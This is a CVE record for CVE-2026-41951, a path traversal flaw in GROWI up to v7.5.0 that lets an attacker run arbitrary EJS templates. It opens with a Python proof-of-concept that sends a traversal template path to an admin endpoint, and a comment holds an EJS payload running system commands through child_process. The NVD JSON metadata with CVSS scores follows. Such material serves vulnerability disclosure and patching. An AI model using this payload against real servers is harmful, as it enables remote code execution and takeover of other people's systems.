CVE-2026-41951

import requests # Target configuration target_url = "http://localhost:3000/api/vuln/endpoint" # Hypothetical endpoint session_cookie = "connect.sid=..." # Admin session cookie (High Privilege Required) # EJS payload to execute system commands (e.g., 'id') # The payload attempts to traverse directories and load a malicious template or inject code malicious_template_path = "../../../../../../../../../tmp/malicious.ejs" headers = { "Cookie": session_cookie, "Content-Type": "application/json" } # Data payload exploiting path traversal in the email server feature payload = { "emailSettings": { "templatePath": malicious_template_path } } try: response = requests.post(target_url, json=payload, headers=headers, timeout=10) if response.status_code == 200: print("[+] Request sent successfully. Check server for execution.") print("[+] Response:", response.text) else: print("[-] Failed to send request.") except Exception as e: print(f"[-] Error: {e}") # Note: A malicious.ejs file on the server would contain code like: # <%= global.process.mainModule.require('child_process').execSync('whoami').toString() %>

{"cve": {"id": "CVE-2026-41951", "sourceIdentifier": "[email protected]", "published": "2026-05-11T10:16:13.913", "lastModified": "2026-05-11T10:16:13.913", "vulnStatus": "Received", "cveTags": [], "descriptions": [{"lang": "en", "value": "Path traversal vulnerability exists in GROWI v7.5.0 and earlier, which may allow an attacker to execute arbitrary EJS templates on the server when an email server is running in GROWI."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 8.6, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "HIGH", "userInteraction": "NONE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV30": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.0", "vectorString": "CVSS:3.0/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H", "baseScore": 7.2, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.2, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-22"}]}], "references": [{"url": "https://growi.co.jp/news/44/", "source": "[email protected]"}, {"url": "https://jvn.jp/jp/JVN38788367/", "source": "[email protected]"}]}}